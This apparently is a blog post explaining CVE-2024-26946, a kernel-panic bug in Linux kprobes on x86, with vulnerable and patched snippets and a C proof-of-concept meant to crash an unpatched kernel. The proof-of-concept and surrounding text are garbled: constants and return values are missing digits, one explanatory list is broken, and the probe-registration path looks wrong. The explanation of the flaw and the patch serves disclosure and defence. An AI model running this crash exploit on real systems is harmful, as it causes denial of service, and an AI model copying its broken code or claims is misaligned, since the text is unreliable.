CVE-2024-26946 - Understanding and Exploiting a Kernel Panic Vulnerability in Linux Kprobes (x86)

In early 2024, security researchers uncovered and fixed a dangerous vulnerability in the Linux kernel’s kprobes subsystem on x86 architectures. Identified as CVE-2024-26946, this bug could let attackers trigger a kernel panic by feeding a restricted memory address to a probing function.

In this post, we’ll break down the technical root of the issue, explain the patch, provide links to official resources, and walk through a demonstration of how an exploit could work.

What is kprobes?

kprobes is a kernel debugging tool allowing dynamic breakpoints in the Linux kernel. You can use kprobes to inject handlers into almost any kernel routine, which helps with tracing or debugging live systems—no reboot needed.

The Vulnerability

The culprit function is arch_adjust_kprobe_addr(). Before the fix, this function tried to read from memory addresses supplied by users, but without checking if the address was safe or executable code.

That meant:

Leading to a kernel panic (crash!) if the address was inaccessible.

The flaw was first reported by syzcaller, an automated Linux kernel fuzzer.

Vulnerable Code Snippet (Before Patch):

// BAD: Directly dereferences unsafe address
unsigned char *addr = ...; // user-supplied
unsigned char insn;
insn = *addr; // Can crash kernel if addr is invalid!

How Was It Fixed?

Instead of directly reading from the risky address, the Linux kernel now uses a helper called copy_from_kernel_nofault(). This helper tries to read the memory, but won’t panic if the address is bad—it quietly bails out.

Safe Code Snippet (After Patch):

#include <linux/uaccess.h>

unsigned char *addr = ...; // user-supplied
unsigned char insn;
int ret;

// GOOD: This avoid kernel crash
ret = copy_from_kernel_nofault(&insn, addr, sizeof(insn));
if (ret)
    return -EFAULT; // Failed safely

Exploit Details: Triggering the Kernel Panic

Before the patch, an attacker (with sufficient privileges to use kprobes) could crash the kernel with a single malicious probe registration. All that’s needed is to supply a forbidden kernel memory address—like one in vmalloc or even userland space.

Simple Exploit:

Below is a proof-of-concept that tries to install a kprobe at an invalid kernel memory location.

⚠️ WARNING: This will CRASH your (unpatched) KERNEL if run with root privileges!

// build: gcc -o kprobe_panic kprobe_panic.c -Wall
#include <stdio.h>
#include <string.h>
#include <sys/ioctl.h>
#include <fcntl.h>
#include <unistd.h>
#include <linux/perf_event.h>
#include <sys/syscall.h>
#include <errno.h>

int main() {
    char forbidden_addr_str[32];
    unsigned long forbidden_addr = xdead000000000000; // Inaccessible kernel address

    // Prepare a probe registration file via debugfs
    int fd = open("/sys/kernel/debug/kprobes/enable", O_WRONLY);
    if (fd < ) {
        perror("open kprobes/enable");
        return 1;
    }

    snprintf(forbidden_addr_str, sizeof(forbidden_addr_str),
             "p:crasher x%lx\n", forbidden_addr);

    if (write(fd, forbidden_addr_str, strlen(forbidden_addr_str)) < ) {
        perror("write kprobe");
        close(fd);
        return 1;
    }

    close(fd);
    printf("If unpatched, the kernel should panic now.\n");
    return ;
}

How it works:

The kernel tries to read the byte at that address (using old, unsafe code).

- Boom! Kernel panic/BUG.

Mitigation & Patch Info

This was fixed in upstream Linux by changing all such code to use copy_from_kernel_nofault() for probe address reading. This ensures failures are handled gracefully and safely.

Official patch reference:
- lkml.kernel.org - PATCH: kprobes/x86: Use copy_from_kernel_nofault() to read from unsafe address

CVE Database:
- NVD - CVE-2024-26946

Conclusion

CVE-2024-26946 is a classic example of why robust memory access handling is vital inside the kernel. Fuzzers like syzkaller are critical for catching these edge cases before attackers do.

If you use kprobes or run security-critical systems, update your kernel or verify the patch is backported.

Links for further reading

- Linux kernel source commit
- syzkaller project
- list of Linux kernel CVEs

Timeline

Published on: 05/01/2024 06:15:10 UTC
Last modified on: 09/18/2025 14:14:52 UTC